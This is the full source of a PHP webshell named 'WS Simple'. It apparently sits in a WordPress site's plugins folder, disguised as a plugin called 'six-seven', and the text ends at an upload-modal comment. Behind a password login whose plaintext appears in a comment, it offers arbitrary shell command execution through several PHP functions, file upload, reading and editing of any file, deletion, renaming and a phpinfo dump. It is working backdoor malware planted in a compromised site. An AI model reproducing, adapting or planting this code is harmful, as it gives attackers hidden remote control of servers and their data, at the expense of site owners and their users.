File: /www/wwwroot/ustaprojemmobilya.com/wp-content/plugins/six-seven/safe.php
<?php
/*
Plugin Name: six-seven
Description: six-seven
Version: 1.0
*/
/**
* WebShell Simple - PHP 5.3+ Compatible
* Version: 1.0
* Features: File Manager, Terminal, Editor
* Style: NeoBrutalism (Matching webshell.php)
*/
session_start();
error_reporting(0);
@ini_set('display_errors', 0);
// ============================================================================
// CONFIGURATION
// ============================================================================
$pass = '$2y$12$ZEH5aSQzdL3IzmFmEsR9kuIeoLIZNzag9BYuLe33cFQ9UbJ9o9sjK'; // crypt bcrypt, password: th3d4rkfad3
$root_dir = realpath(getcwd()) ? realpath(getcwd()) : getcwd();
if (empty($_SESSION['csrf'])) {
$_SESSION['csrf'] = bin2hex(openssl_random_pseudo_bytes(32));
}
function csrf_field()
{
echo '<input type="hidden" name="csrf" value="' . $_SESSION['csrf'] . '">';
}
function csrf_check()
{
$t = isset($_POST['csrf']) ? $_POST['csrf'] : (isset($_SERVER['HTTP_X_CSRF_TOKEN']) ? $_SERVER['HTTP_X_CSRF_TOKEN'] : '');
if ($t === '' || $t !== $_SESSION['csrf']) {
http_response_code(403);
exit('Invalid CSRF token');
}
}
// ============================================================================
// AUTHENTICATION
// ============================================================================
if (!isset($_SESSION['login_attempts'])) {
$_SESSION['login_attempts'] = 0;
$_SESSION['login_locked_until'] = 0;
}
$login_error = '';
if (isset($_POST['p'])) {
if (time() < $_SESSION['login_locked_until']) {
$login_error = 'Too many attempts. Try again later.';
} elseif (crypt($_POST['p'], $pass) === $pass) {
$_SESSION['a'] = 1;
$_SESSION['login_attempts'] = 0;
session_regenerate_id(true);
} else {
$_SESSION['login_attempts']++;
sleep(1);
if ($_SESSION['login_attempts'] >= 5) {
$_SESSION['login_locked_until'] = time() + 300;
$_SESSION['login_attempts'] = 0;
$login_error = 'Too many attempts. Locked for 5 minutes.';
} else {
$login_error = 'Invalid password';
}
}
}
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
csrf_check();
}
if (isset($_GET['logout'])) {
session_destroy();
header('Location: ' . $_SERVER['PHP_SELF']);
exit;
}
// ============================================================================
// UTILITY FUNCTIONS
// ============================================================================
function formatBytes($size)
{
if ($size < 0 || $size === false) return 'N/A';
$units = array('B', 'KB', 'MB', 'GB', 'TB');
$i = 0;
while ($size >= 1024 && $i < count($units) - 1) {
$size /= 1024;
$i++;
}
return round($size, 2) . ' ' . $units[$i];
}
function getPerms($file)
{
if (!file_exists($file)) return '---------';
$perms = fileperms($file);
$r = '';
$r .= ($perms & 00400) ? 'r' : '-';
$r .= ($perms & 00200) ? 'w' : '-';
$r .= ($perms & 00100) ? (($perms & 04000) ? 's' : 'x') : (($perms & 04000) ? 'S' : '-');
$r .= ($perms & 00040) ? 'r' : '-';
$r .= ($perms & 00020) ? 'w' : '-';
$r .= ($perms & 00010) ? (($perms & 02000) ? 's' : 'x') : (($perms & 02000) ? 'S' : '-');
$r .= ($perms & 00004) ? 'r' : '-';
$r .= ($perms & 00002) ? 'w' : '-';
$r .= ($perms & 00001) ? (($perms & 01000) ? 't' : 'x') : (($perms & 01000) ? 'T' : '-');
return $r;
}
function executeCmd($cmd)
{
$cmd = trim($cmd);
if (empty($cmd)) return '';
$output = '';
if (function_exists('proc_open')) {
$descriptors = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w')
);
$process = @proc_open($cmd, $descriptors, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], "\n");
fclose($pipes[0]);
$output = stream_get_contents($pipes[1]);
$errors = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
if ($errors) $output .= "\n" . $errors;
}
} elseif (function_exists('shell_exec')) {
$output = @shell_exec($cmd . ' 2>&1');
} elseif (function_exists('exec')) {
$out = array();
@exec($cmd . ' 2>&1', $out, $ret);
$output = implode("\n", $out);
} elseif (function_exists('system')) {
ob_start();
@system($cmd . ' 2>&1');
$output = ob_get_clean();
} elseif (function_exists('passthru')) {
ob_start();
@passthru($cmd . ' 2>&1');
$output = ob_get_clean();
}
return $output ? $output : '[No output]';
}
// ============================================================================
// LOGIN PAGE
// ============================================================================
if (!isset($_SESSION['a'])) {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>WS Simple - Login</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
@import url('https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@400;500;600;700&display=swap');
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Space Grotesk', sans-serif;
background: #f0f0f0;
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
padding: 20px;
}
.login-box {
background: #fff;
border: 4px solid #000;
box-shadow: 8px 8px 0 0 #000;
padding: 48px;
width: 100%;
max-width: 400px;
}
h1 {
font-size: 32px;
font-weight: 700;
margin-bottom: 8px;
text-transform: uppercase;
letter-spacing: -1px;
}
.subtitle {
color: #666;
font-size: 14px;
margin-bottom: 32px;
}
input[type="password"] {
width: 100%;
padding: 16px;
border: 3px solid #000;
font-size: 16px;
font-family: inherit;
margin-bottom: 16px;
outline: none;
}
input[type="password"]:focus {
box-shadow: 4px 4px 0 0 #000;
transform: translate(-2px, -2px);
}
button {
width: 100%;
padding: 16px;
background: #3b82f6;
color: white;
border: 3px solid #000;
font-size: 16px;
font-weight: 700;
text-transform: uppercase;
cursor: pointer;
box-shadow: 4px 4px 0 0 #000;
transition: all 0.1s;
font-family: inherit;
}
button:hover {
transform: translate(2px, 2px);
box-shadow: 2px 2px 0 0 #000;
}
button:active {
transform: translate(4px, 4px);
box-shadow: 0 0 0 0 #000;
}
</style>
</head>
<body>
<div class="login-box">
<h1>WS Simple</h1>
<p class="subtitle">Minimal WebShell</p>
<form method="post">
<?php csrf_field(); ?>
<?php if ($login_error): ?><p style="color:#ef4444;font-size:13px;font-weight:600;margin-bottom:16px;"><?php echo htmlspecialchars($login_error); ?></p><?php endif; ?>
<input type="password" name="p" placeholder="Password" required autofocus>
<button type="submit"><i class="fas fa-sign-in-alt"></i> Login</button>
</form>
</div>
</body>
</html>
<?php
exit;
}
// ============================================================================
// MAIN LOGIC
// ============================================================================
$d = isset($_GET['d']) ? $_GET['d'] : '.';
$cwd = realpath($d);
if (!$cwd) $cwd = getcwd();
// AJAX terminal
if (isset($_POST['c'])) {
echo executeCmd($_POST['c']);
exit;
}
// Upload
if (isset($_FILES['f'])) {
$target = $cwd . '/' . basename($_FILES['f']['name']);
if (move_uploaded_file($_FILES['f']['tmp_name'], $target)) {
$msg = 'File uploaded successfully';
} else {
$error = 'Upload failed';
}
}
// Save file
if (isset($_POST['s']) && isset($_POST['f'])) {
$result = @file_put_contents($_POST['f'], $_POST['s']);
if ($result !== false) {
$msg = 'File saved successfully';
} else {
$error = 'Save failed';
}
}
// Delete
if (isset($_GET['del']) && isset($_GET['d'])) {
if (!isset($_GET['csrf']) || $_GET['csrf'] !== $_SESSION['csrf']) {
http_response_code(403);
exit('Invalid CSRF token');
}
$f = $cwd . '/' . $_GET['del'];
if (is_dir($f)) {
@rmdir($f);
} else {
@unlink($f);
}
header('Location: ?d=' . urlencode($cwd));
exit;
}
// Rename
if (isset($_POST['rename'])) {
$old = $cwd . '/' . $_POST['oldname'];
$new = $cwd . '/' . $_POST['newname'];
if (file_exists($old) && !file_exists($new)) {
@rename($old, $new);
header('Location: ?d=' . urlencode($cwd));
exit;
}
}
// Create directory
if (isset($_POST['mkdir'])) {
$newdir = $cwd . '/' . $_POST['dirname'];
@mkdir($newdir, 0755, true);
header('Location: ?d=' . urlencode($cwd));
exit;
}
// Create file
if (isset($_POST['touch'])) {
$newfile = $cwd . '/' . $_POST['filename'];
if (!file_exists($newfile)) {
@file_put_contents($newfile, '');
}
header('Location: ?d=' . urlencode($cwd));
exit;
}
$hostname = function_exists('gethostname') ? gethostname() : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost');
$php_version = PHP_VERSION;
$current_user = function_exists('posix_getpwuid') && ($pw = @posix_getpwuid(@posix_geteuid())) ? $pw['name'] : (getenv('USERNAME') ?: getenv('USER') ?: 'unknown');
$tab = isset($_GET['tab']) ? $_GET['tab'] : 'files';
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>WS Simple</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
@import url('https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500;600&display=swap');
* {
box-sizing: border-box;
margin: 0;
padding: 0;
}
body {
font-family: 'Space Grotesk', sans-serif;
background: #f0f0f0;
min-height: 100vh;
}
.mono {
font-family: 'JetBrains Mono', monospace;
}
/* Layout */
.layout {
display: flex;
height: 100vh;
}
/* Sidebar */
.sidebar {
width: 260px;
background: #fff;
border-right: 4px solid #000;
display: flex;
flex-direction: column;
flex-shrink: 0;
}
.sidebar-header {
padding: 24px;
border-bottom: 4px solid #000;
}
.sidebar-header h1 {
font-size: 24px;
font-weight: 700;
letter-spacing: -0.5px;
}
.sidebar-header p {
font-size: 11px;
font-weight: 700;
color: #666;
text-transform: uppercase;
letter-spacing: 1px;
margin-top: 4px;
}
.sidebar-nav {
flex: 1;
padding: 16px 0;
overflow-y: auto;
}
.nav-item {
display: flex;
align-items: center;
padding: 14px 24px;
color: #666;
text-decoration: none;
font-weight: 600;
font-size: 14px;
border-left: 4px solid transparent;
transition: all 0.2s;
}
.nav-item:hover {
background: #fef3c7;
border-left-color: #fbbf24;
padding-left: 28px;
}
.nav-item.active {
background: #dbeafe;
border-left-color: #3b82f6;
color: #1f2937;
}
.nav-item i {
width: 28px;
font-size: 18px;
}
.sidebar-footer {
padding: 16px;
border-top: 4px solid #000;
}
.info-box {
background: #fff;
border: 2px solid #000;
box-shadow: 3px 3px 0 0 #000;
padding: 10px 12px;
margin-bottom: 10px;
}
.info-box label {
font-size: 10px;
font-weight: 700;
color: #666;
text-transform: uppercase;
display: block;
margin-bottom: 2px;
}
.info-box span {
font-weight: 700;
font-size: 13px;
}
.btn-logout {
display: flex;
align-items: center;
justify-content: center;
gap: 8px;
width: 100%;
padding: 10px;
background: #ef4444;
color: #fff;
border: 2px solid #000;
box-shadow: 3px 3px 0 0 #000;
font-weight: 700;
font-size: 12px;
text-transform: uppercase;
cursor: pointer;
transition: all 0.1s;
text-decoration: none;
}
.btn-logout:hover {
transform: translate(2px, 2px);
box-shadow: 1px 1px 0 0 #000;
}
/* Main Content */
.main {
flex: 1;
overflow-y: auto;
background: #f5f5f5;
}
.main-inner {
max-width: 1200px;
margin: 0 auto;
padding: 24px;
}
/* Neo Components */
.neo-box {
background: #fff;
border: 3px solid #000;
box-shadow: 6px 6px 0 0 #000;
margin-bottom: 24px;
}
.neo-box-sm {
background: #fff;
border: 2px solid #000;
box-shadow: 4px 4px 0 0 #000;
}
.header-bar {
background: #fff;
border: 3px solid #000;
box-shadow: 6px 6px 0 0 #000;
padding: 16px 20px;
margin-bottom: 24px;
display: flex;
justify-content: space-between;
align-items: center;
flex-wrap: wrap;
gap: 12px;
}
.badge {
display: inline-flex;
align-items: center;
gap: 6px;
padding: 4px 10px;
border: 2px solid #000;
font-weight: 700;
font-size: 11px;
text-transform: uppercase;
}
.bg-yellow {
background: #fbbf24;
}
.bg-blue {
background: #3b82f6;
color: #fff;
}
.bg-green {
background: #22c55e;
}
.bg-red {
background: #ef4444;
color: #fff;
}
.bg-purple {
background: #a855f7;
color: #fff;
}
.bg-gray {
background: #e5e7eb;
}
.path-box {
background: #f3f4f6;
border: 2px solid #000;
padding: 8px 14px;
font-family: 'JetBrains Mono', monospace;
font-size: 12px;
font-weight: 600;
max-width: 400px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.neo-btn {
display: inline-flex;
align-items: center;
justify-content: center;
gap: 6px;
padding: 10px 16px;
border: 2px solid #000;
box-shadow: 3px 3px 0 0 #000;
font-weight: 700;
font-size: 12px;
text-transform: uppercase;
cursor: pointer;
transition: all 0.1s;
text-decoration: none;
background: #fff;
color: #000;
font-family: inherit;
}
.neo-btn:hover {
transform: translate(2px, 2px);
box-shadow: 1px 1px 0 0 #000;
}
.neo-btn-primary {
background: #3b82f6;
color: #fff;
}
.neo-btn-success {
background: #22c55e;
}
.neo-btn-warning {
background: #fbbf24;
}
.neo-btn-danger {
background: #ef4444;
color: #fff;
}
.neo-btn-dark {
background: #1f2937;
color: #fff;
}
.neo-btn-purple {
background: #a855f7;
color: #fff;
}
.neo-btn-sm {
padding: 6px 10px;
font-size: 11px;
}
/* Breadcrumb */
.breadcrumb {
background: #fef3c7;
border: 2px solid #000;
box-shadow: 4px 4px 0 0 #000;
margin-bottom: 20px;
padding: 12px 16px;
display: flex;
align-items: center;
gap: 8px;
flex-wrap: wrap;
}
.breadcrumb i {
color: #fbbf24;
font-size: 16px;
}
.breadcrumb a {
color: #3b82f6;
font-weight: 700;
text-decoration: none;
font-size: 13px;
}
.breadcrumb a:hover {
text-decoration: underline;
}
.breadcrumb span {
font-weight: 700;
font-size: 13px;
}
/* Table */
.file-table {
width: 100%;
border-collapse: separate;
border-spacing: 0;
}
.file-table th,
.file-table td {
border: 2px solid #000;
padding: 12px 14px;
text-align: left;
}
.file-table th {
background: #1f2937;
color: #fff;
font-weight: 700;
text-transform: uppercase;
font-size: 11px;
letter-spacing: 0.5px;
}
.file-table tr:hover td {
background: #fef3c7;
}
.file-table td {
background: #fff;
font-size: 13px;
}
/* Inputs */
.neo-input {
padding: 10px 14px;
border: 2px solid #000;
font-family: inherit;
font-size: 13px;
outline: none;
transition: all 0.2s;
}
.neo-input:focus {
box-shadow: 3px 3px 0 0 #000;
transform: translate(-2px, -2px);
}
textarea {
width: 100%;
min-height: 400px;
resize: vertical;
font-family: 'JetBrains Mono', monospace;
font-size: 13px;
line-height: 1.5;
padding: 16px;
border: 2px solid #000;
outline: none;
}
/* Terminal */
.terminal-box {
background: #020617;
border: 3px solid #000;
box-shadow: 6px 6px 0 0 #22c55e;
}
.terminal-header {
background: #22c55e;
border-bottom: 3px solid #000;
padding: 12px 16px;
display: flex;
align-items: center;
justify-content: space-between;
}
.terminal-title {
font-weight: 700;
font-size: 14px;
color: #000;
display: flex;
align-items: center;
gap: 8px;
}
.terminal-body {
padding: 16px;
color: #4ade80;
font-family: 'JetBrains Mono', monospace;
font-size: 13px;
min-height: 300px;
max-height: 500px;
overflow: auto;
white-space: pre-wrap;
}
.terminal-input-line {
display: flex;
align-items: center;
padding: 12px 16px;
border-top: 2px solid #333;
background: #0f172a;
}
.terminal-prompt {
color: #22c55e;
font-weight: 700;
margin-right: 10px;
font-size: 13px;
}
.terminal-input {
flex: 1;
background: transparent;
border: none;
color: #fff;
font-family: 'JetBrains Mono', monospace;
font-size: 13px;
outline: none;
}
/* Messages */
.msg {
background: #dcfce7;
border: 2px solid #000;
box-shadow: 4px 4px 0 0 #000;
padding: 14px 18px;
margin-bottom: 20px;
display: flex;
align-items: center;
gap: 12px;
font-weight: 600;
font-size: 14px;
}
.msg.error {
background: #fee2e2;
}
.msg i {
font-size: 18px;
}
/* Section Title */
.section-title {
font-size: 16px;
font-weight: 700;
text-transform: uppercase;
margin-bottom: 14px;
display: flex;
align-items: center;
gap: 8px;
}
/* Info Grid */
.info-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(280px, 1fr));
gap: 20px;
}
.info-card {
background: #fff;
border: 3px solid #000;
box-shadow: 5px 5px 0 0 #000;
padding: 20px;
}
.info-card-header {
display: flex;
align-items: center;
margin-bottom: 16px;
padding-bottom: 12px;
border-bottom: 2px solid #000;
}
.info-icon {
width: 44px;
height: 44px;
border: 2px solid #000;
box-shadow: 3px 3px 0 0 #000;
display: flex;
align-items: center;
justify-content: center;
margin-right: 12px;
}
.info-icon.blue {
background: #3b82f6;
color: #fff;
}
.info-icon.green {
background: #22c55e;
color: #000;
}
.info-icon.purple {
background: #a855f7;
color: #fff;
}
.info-icon.yellow {
background: #fbbf24;
color: #000;
}
.info-card h3 {
font-size: 16px;
font-weight: 700;
}
.info-row {
display: flex;
justify-content: space-between;
align-items: center;
padding: 10px 0;
border-bottom: 1px solid #e5e7eb;
}
.info-row:last-child {
border-bottom: none;
}
.info-row label {
font-size: 12px;
font-weight: 600;
color: #666;
}
.info-row span {
font-weight: 700;
font-size: 13px;
}
/* Tab Content */
.tab-content {
display: none;
}
.tab-content.active {
display: block;
}
/* Modal */
.modal-overlay {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0, 0, 0, 0.7);
z-index: 1000;
align-items: center;
justify-content: center;
padding: 20px;
}
.modal-overlay.active {
display: flex;
}
.modal {
background: #fff;
border: 3px solid #000;
box-shadow: 10px 10px 0 0 #000;
padding: 24px;
width: 100%;
max-width: 400px;
}
.modal-header {
display: flex;
align-items: center;
margin-bottom: 20px;
padding-bottom: 14px;
border-bottom: 2px solid #000;
}
.modal-icon {
width: 40px;
height: 40px;
border: 2px solid #000;
box-shadow: 3px 3px 0 0 #000;
display: flex;
align-items: center;
justify-content: center;
margin-right: 12px;
}
.modal h3 {
font-size: 16px;
font-weight: 700;
}
.modal-footer {
display: flex;
gap: 10px;
margin-top: 20px;
}
.modal-footer .neo-btn {
flex: 1;
}
/* Responsive */
@media (max-width: 768px) {
.layout {
flex-direction: column;
}
.sidebar {
width: 100%;
border-right: none;
border-bottom: 4px solid #000;
}
.main-inner {
padding: 16px;
}
.header-bar {
flex-direction: column;
align-items: flex-start;
}
.path-box {
max-width: 100%;
width: 100%;
}
}
/* Scrollbar */
::-webkit-scrollbar {
width: 10px;
height: 10px;
}
::-webkit-scrollbar-track {
background: #e5e7eb;
border-left: 2px solid #000;
}
::-webkit-scrollbar-thumb {
background: #3b82f6;
border: 2px solid #000;
}
</style>
</head>
<body>
<div class="layout">
<!-- Sidebar -->
<aside class="sidebar">
<div class="sidebar-header">
<h1>WS Simple</h1>
<p>Minimal WebShell</p>
</div>
<nav class="sidebar-nav">
<a href="#" onclick="showTab('files', this); return false;" class="nav-item active" data-tab="files">
<i class="fas fa-folder-open"></i>
<span>Files</span>
</a>
<a href="#" onclick="showTab('terminal', this); return false;" class="nav-item" data-tab="terminal">
<i class="fas fa-terminal"></i>
<span>Terminal</span>
</a>
<a href="#" onclick="showTab('info', this); return false;" class="nav-item" data-tab="info">
<i class="fas fa-chart-bar"></i>
<span>System</span>
</a>
<a href="#" onclick="showTab('phpinfo', this); return false;" class="nav-item" data-tab="phpinfo">
<i class="fab fa-php"></i>
<span>PHP Info</span>
</a>
</nav>
<div class="sidebar-footer">
<div class="info-box">
<label>User</label>
<span><?php echo htmlspecialchars($current_user); ?></span>
</div>
<div class="info-box">
<label>Host</label>
<span><?php echo htmlspecialchars($hostname); ?></span>
</div>
<a href="?logout=1" class="btn-logout">
<i class="fas fa-sign-out-alt"></i> Logout
</a>
</div>
</aside>
<!-- Main Content -->
<main class="main">
<div class="main-inner">
<!-- Header -->
<div class="header-bar">
<div style="display: flex; gap: 8px; flex-wrap: wrap;">
<span class="badge bg-yellow"><i class="fas fa-server"></i> <?php echo htmlspecialchars($hostname); ?></span>
<span class="badge bg-blue"><i class="fab fa-php"></i> <?php echo $php_version; ?></span>
<span class="badge bg-green"><i class="fas fa-circle" style="font-size: 6px;"></i> ONLINE</span>
</div>
<div class="path-box mono"><?php echo htmlspecialchars($cwd); ?></div>
</div>
<!-- Messages -->
<?php if (isset($msg)): ?>
<div class="msg">
<i class="fas fa-check-circle" style="color: #22c55e;"></i>
<?php echo htmlspecialchars($msg); ?>
</div>
<?php endif; ?>
<?php if (isset($error)): ?>
<div class="msg error">
<i class="fas fa-exclamation-circle" style="color: #ef4444;"></i>
<?php echo htmlspecialchars($error); ?>
</div>
<?php endif; ?>
<!-- FILES TAB -->
<div id="files-tab" class="tab-content active">
<?php
$path_parts = explode('/', trim($cwd, '/'));
$path_acc = '';
?>
<!-- Breadcrumb -->
<div class="breadcrumb">
<i class="fas fa-folder-open"></i>
<?php foreach ($path_parts as $i => $part): ?>
<?php if (empty($part)) continue; ?>
<?php $path_acc .= '/' . $part; ?>
<?php if ($i > 0): ?><span>/</span><?php endif; ?>
<a href="?d=<?php echo urlencode($path_acc); ?>"><?php echo htmlspecialchars($part); ?></a>
<?php endforeach; ?>
</div>
<!-- Actions -->
<div style="display: flex; gap: 10px; margin-bottom: 20px; flex-wrap: wrap;">
<button onclick="openModal('upload-modal')" class="neo-btn neo-btn-primary">
<i class="fas fa-cloud-upload-alt"></i> Upload
</button>
<button onclick="openModal('mkdir-modal')" class="neo-btn neo-btn-warning">
<i class="fas fa-folder-plus"></i> New Folder
</button>
<button onclick="openModal('touch-modal')" class="neo-btn neo-btn-success">
<i class="fas fa-file-plus"></i> New File
</button>
</div>
<!-- File List -->
<div class="neo-box" style="padding: 0; overflow: hidden;">
<table class="file-table">
<thead>
<tr>
<th>Name</th>
<th style="width: 100px;">Size</th>
<th style="width: 125px;">Perm</th>
<th style="width: 150px;">Modified</th>
<th style="width: 200px;">Actions</th>
</tr>
</thead>
<tbody>
<?php if ($cwd != $root_dir && $cwd != '/'): ?>
<tr>
<td>
<a href="?d=<?php echo urlencode(dirname($cwd)); ?>" style="text-decoration: none; color: #000; font-weight: 700;">
<i class="fas fa-level-up-alt" style="margin-right: 8px; color: #fbbf24;"></i> ..
</a>
</td>
<td class="mono">-</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<?php endif; ?>
<?php
$h = @opendir($cwd);
if ($h):
$dirs = array();
$files = array();
while (($f = readdir($h)) !== false):
if ($f == '.' || $f == '..') continue;
$p = $cwd . '/' . $f;
if (is_dir($p)) {
$dirs[] = $f;
} else {
$files[] = $f;
}
endwhile;
closedir($h);
sort($dirs);
sort($files);
foreach (array_merge($dirs, $files) as $f):
$p = $cwd . '/' . $f;
$is_dir = is_dir($p);
$size = $is_dir ? '-' : formatBytes(filesize($p));
$perms = getPerms($p);
$mtime = date('M j, H:i', filemtime($p));
$ext = strtolower(pathinfo($f, PATHINFO_EXTENSION));
$icon = 'fa-file';
$color = 'text-gray-600';
if ($is_dir) {
$icon = 'fa-folder';
$color = 'text-yellow-600';
} elseif (in_array($ext, array('php', 'phtml'))) {
$icon = 'fa-file-code';
$color = 'text-purple-600';
} elseif (in_array($ext, array('html', 'htm'))) {
$icon = 'fa-html5';
$color = 'text-orange-600';
} elseif (in_array($ext, array('css'))) {
$icon = 'fa-css3';
$color = 'text-blue-600';
} elseif (in_array($ext, array('js'))) {
$icon = 'fa-js';
$color = 'text-yellow-600';
} elseif (in_array($ext, array('jpg', 'jpeg', 'png', 'gif'))) {
$icon = 'fa-image';
$color = 'text-green-600';
}
?>
<tr>
<td>
<?php if ($is_dir): ?>
<a href="?d=<?php echo urlencode($p); ?>" style="text-decoration: none; color: #000; font-weight: 700;">
<i class="fas <?php echo $icon; ?>" style="margin-right: 10px; color: <?php echo str_replace('text-', '', $color); ?>;"></i>
<?php echo htmlspecialchars($f); ?>
</a>
<?php else: ?>
<span style="font-weight: 700;">
<i class="fas <?php echo $icon; ?>" style="margin-right: 10px; color: <?php echo str_replace('text-', '', $color); ?>;"></i>
<?php echo htmlspecialchars($f); ?>
</span>
<?php endif; ?>
</td>
<td class="mono" style="text-align: right;"><?php echo $size; ?></td>
<td><span class="badge bg-gray mono" style="font-size: 10px; padding: 2px 6px;"><?php echo $perms; ?></span></td>
<td style="color: #666; font-size: 12px;"><?php echo $mtime; ?></td>
<td>
<div style="display: flex; gap: 4px;">
<?php if (!$is_dir): ?>
<a href="?tab=edit&f=<?php echo urlencode($p); ?>&d=<?php echo urlencode($cwd); ?>" class="neo-btn neo-btn-sm" style="background: #dbeafe; color: #1e40af;" title="Edit">
<i class="fas fa-edit"></i>
</a>
<?php endif; ?>
<button onclick="renameFile('<?php echo htmlspecialchars($f, ENT_QUOTES); ?>')" class="neo-btn neo-btn-sm neo-btn-warning" title="Rename">
<i class="fas fa-pen"></i>
</button>
<a href="?d=<?php echo urlencode($cwd); ?>&del=<?php echo urlencode($f); ?>&csrf=<?php echo urlencode($_SESSION['csrf']); ?>" class="neo-btn neo-btn-sm neo-btn-danger" onclick="return confirm(<?php echo json_encode('Delete ' . $f . '?', JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT); ?>)" title="Delete">
<i class="fas fa-trash"></i>
</a>
</div>
</td>
</tr>
<?php
endforeach;
endif;
?>
</tbody>
</table>
</div>
</div>
<!-- EDIT TAB -->
<?php if ($tab == 'edit' && isset($_GET['f'])):
$f = $_GET['f'];
$content = file_exists($f) ? file_get_contents($f) : '';
?>
<div id="edit-tab" class="tab-content active">
<div class="neo-box" style="padding: 0; overflow: hidden;">
<div style="background: #3b82f6; border-bottom: 3px solid #000; padding: 14px 18px; display: flex; align-items: center; justify-content: space-between;">
<div style="display: flex; align-items: center; gap: 10px; color: #fff;">
<i class="fas fa-file-code"></i>
<span style="font-weight: 700;"><?php echo htmlspecialchars(basename($f)); ?></span>
</div>
<a href="?d=<?php echo urlencode($cwd); ?>" class="neo-btn neo-btn-sm" style="background: #fff; color: #000;">
<i class="fas fa-times"></i>
</a>
</div>
<form method="post" style="margin: 0;">
<?php csrf_field(); ?>
<input type="hidden" name="f" value="<?php echo htmlspecialchars($f); ?>">
<textarea name="s" spellcheck="false"><?php echo htmlspecialchars($content); ?></textarea>
<div style="display: flex; gap: 10px; padding: 16px; background: #f5f5f5; border-top: 3px solid #000;">
<button type="submit" class="neo-btn neo-btn-success">
<i class="fas fa-save"></i> Save
</button>
<a href="?d=<?php echo urlencode($cwd); ?>" class="neo-btn neo-btn-dark">
Cancel
</a>
</div>
</form>
</div>
</div>
<?php endif; ?>
<!-- TERMINAL TAB -->
<div id="terminal-tab" class="tab-content">
<div class="terminal-box">
<div class="terminal-header">
<div class="terminal-title">
<i class="fas fa-terminal"></i> Terminal
</div>
<button onclick="document.getElementById('terminal-output').innerHTML=''" class="neo-btn neo-btn-sm" style="background: #fff; color: #000;">
<i class="fas fa-eraser"></i> Clear
</button>
</div>
<div id="terminal-output" class="terminal-body"># Terminal ready. Type command below and press Enter.</div>
<form method="post" onsubmit="runTerminal(event)">
<?php csrf_field(); ?>
<div class="terminal-input-line">
<span class="terminal-prompt mono">$</span>
<input type="text" name="c" id="terminal-cmd" class="terminal-input" placeholder="Enter command..." autocomplete="off" autofocus>
</div>
</form>
</div>
</div>
<!-- INFO TAB -->
<div id="info-tab" class="tab-content">
<div class="info-grid">
<div class="info-card">
<div class="info-card-header">
<div class="info-icon blue"><i class="fas fa-server"></i></div>
<h3>System</h3>
</div>
<div class="info-row">
<label>OS</label>
<span><?php echo PHP_OS; ?></span>
</div>
<div class="info-row">
<label>Hostname</label>
<span class="mono"><?php echo htmlspecialchars($hostname); ?></span>
</div>
<div class="info-row">
<label>PHP Version</label>
<span class="mono"><?php echo $php_version; ?></span>
</div>
</div>
<div class="info-card">
<div class="info-card-header">
<div class="info-icon green"><i class="fas fa-globe"></i></div>
<h3>Server</h3>
</div>
<div class="info-row">
<label>Software</label>
<span><?php echo htmlspecialchars(isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'N/A'); ?></span>
</div>
<div class="info-row">
<label>Protocol</label>
<span><?php echo htmlspecialchars(isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'N/A'); ?></span>
</div>
<div class="info-row">
<label>Port</label>
<span class="mono"><?php echo htmlspecialchars(isset($_SERVER['SERVER_PORT']) ? $_SERVER['SERVER_PORT'] : 'N/A'); ?></span>
</div>
</div>
<div class="info-card">
<div class="info-card-header">
<div class="info-icon yellow"><i class="fas fa-user"></i></div>
<h3>User Context</h3>
</div>
<div class="info-row">
<label>User</label>
<span><?php echo htmlspecialchars($current_user); ?></span>
</div>
<div class="info-row">
<label>Current Dir</label>
<span class="mono" style="font-size: 11px;"><?php echo htmlspecialchars($cwd); ?></span>
</div>
<div class="info-row">
<label>Document Root</label>
<span class="mono" style="font-size: 11px;"><?php echo htmlspecialchars(isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : 'N/A'); ?></span>
</div>
</div>
<div class="info-card">
<div class="info-card-header">
<div class="info-icon purple"><i class="fab fa-php"></i></div>
<h3>PHP Environment</h3>
</div>
<div class="info-row">
<label>SAPI</label>
<span><?php echo php_sapi_name(); ?></span>
</div>
<div class="info-row">
<label>Memory Limit</label>
<span class="mono"><?php echo ini_get('memory_limit'); ?></span>
</div>
<div class="info-row">
<label>Max Upload</label>
<span class="mono"><?php echo ini_get('upload_max_filesize'); ?></span>
</div>
</div>
</div>
</div>
<!-- PHPINFO TAB -->
<div id="phpinfo-tab" class="tab-content">
<div class="neo-box" style="padding: 0; overflow: hidden;">
<div style="background: #a855f7; border-bottom: 3px solid #000; padding: 14px 18px; display: flex; align-items: center; gap: 10px; color: #fff;">
<i class="fab fa-php"></i>
<span style="font-weight: 700;">PHP Information</span>
</div>
<div style="padding: 0; max-height: 600px; overflow: auto;">
<?php
ob_start();
phpinfo();
$info = ob_get_clean();
$info = preg_replace('/<style.*?>.*?<\/style>/s', '', $info);
$info = preg_replace('/<head>.*?<\/head>/s', '', $info);
$info = str_replace(['<body>', '</body>', '</html>'], '', $info);
echo $info;
?>
</div>
</div>
</div>
</div>
</main>
</div>
<!-- Upload Modal -->
